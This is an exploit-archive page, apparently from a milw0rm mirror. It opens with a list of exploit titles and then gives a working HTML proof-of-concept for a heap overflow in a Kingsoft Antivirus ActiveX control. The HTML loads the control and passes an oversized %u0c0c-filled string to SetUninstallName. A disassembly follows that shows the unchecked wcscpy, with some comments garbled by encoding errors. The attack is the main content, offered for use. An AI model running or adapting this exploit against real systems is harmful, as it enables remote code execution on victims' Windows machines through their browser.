477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
68 lines
2.7 KiB
HTML
Executable file
68 lines
2.7 KiB
HTML
Executable file
<!--
|
||
KingSoft UpdateOcx2.dll SetUninstallName() Heap Overflow Exploit
|
||
|
||
Date: 2008-02-29
|
||
MSN: void[at]ph4nt0m[dot]org
|
||
http://www.ph4nt0m.org
|
||
|
||
文件路径: C:\WINDOWS\system32\KingSoft\KOS\UpdateOcx2.dll
|
||
文件æè¿°: Kingsoft Antivirus Online Update Module
|
||
文件版本: 2007,12,29,29
|
||
-->
|
||
|
||
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target1'></object>
|
||
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target2'></object>
|
||
<script>
|
||
var str1 = "";
|
||
while (str1.length < 914)
|
||
{ str1 += unescape("%u0c0c");
|
||
}
|
||
target1.SetUninstallName(str1);
|
||
</script>
|
||
|
||
<!--
|
||
.text:1000737B ; DWORD __stdcall SetUninstallName(LPVOID this_ptr, LPVOID bsUninstallName)
|
||
.text:1000737B SetUninstallName proc near ; DATA XREF: .rdata:1003186C o
|
||
.text:1000737B ; .rdata:10031A64 o
|
||
.text:1000737B
|
||
.text:1000737B this_ptr = dword ptr 4
|
||
.text:1000737B bsUninstallName = dword ptr 8
|
||
.text:1000737B
|
||
.text:1000737B mov eax, [esp+this_ptr]
|
||
.text:1000737F push [esp+bsUninstallName]
|
||
.text:10007383 add eax, 20h
|
||
.text:10007386 mov ecx, [eax]
|
||
.text:10007388 push eax
|
||
.text:10007389 call dword ptr [ecx+20h] ; æ¤å¤„è·Ÿè¿› 10012278
|
||
.text:1000738C xor eax, eax
|
||
.text:1000738E retn 8
|
||
.text:1000738E SetUninstallName endp
|
||
|
||
|
||
.text:10012278 ; =============== S U B R O U T I N E =======================================
|
||
.text:10012278
|
||
.text:10012278
|
||
.text:10012278 ; int __stdcall Vul_Func(int, wchar_t *Source)
|
||
.text:10012278 Vul_Func proc near ; DATA XREF: .rdata:10032D3C o
|
||
.text:10012278
|
||
.text:10012278 arg_0 = dword ptr 4
|
||
.text:10012278 Source = dword ptr 8
|
||
.text:10012278
|
||
.text:10012278 cmp [esp+Source], 0
|
||
.text:1001227D jz short loc_10012294
|
||
.text:1001227F mov eax, [esp+arg_0]
|
||
.text:10012283 push [esp+Source] ; Source
|
||
.text:10012287 add eax, 0D70h
|
||
.text:1001228C push eax ; Dest
|
||
.text:1001228D call _wcscpy ; 没有检查用户输入的长度就,é€ æˆheap overlfow
|
||
.text:10012292 pop ecx
|
||
.text:10012293 pop ecx
|
||
.text:10012294
|
||
.text:10012294 loc_10012294: ; CODE XREF: Vul_Func+5 j
|
||
.text:10012294 xor eax, eax
|
||
.text:10012296 retn 8
|
||
.text:10012296 Vul_Func endp
|
||
.text:10012296
|
||
-->
|
||
|
||
# milw0rm.com [2008-03-10]
|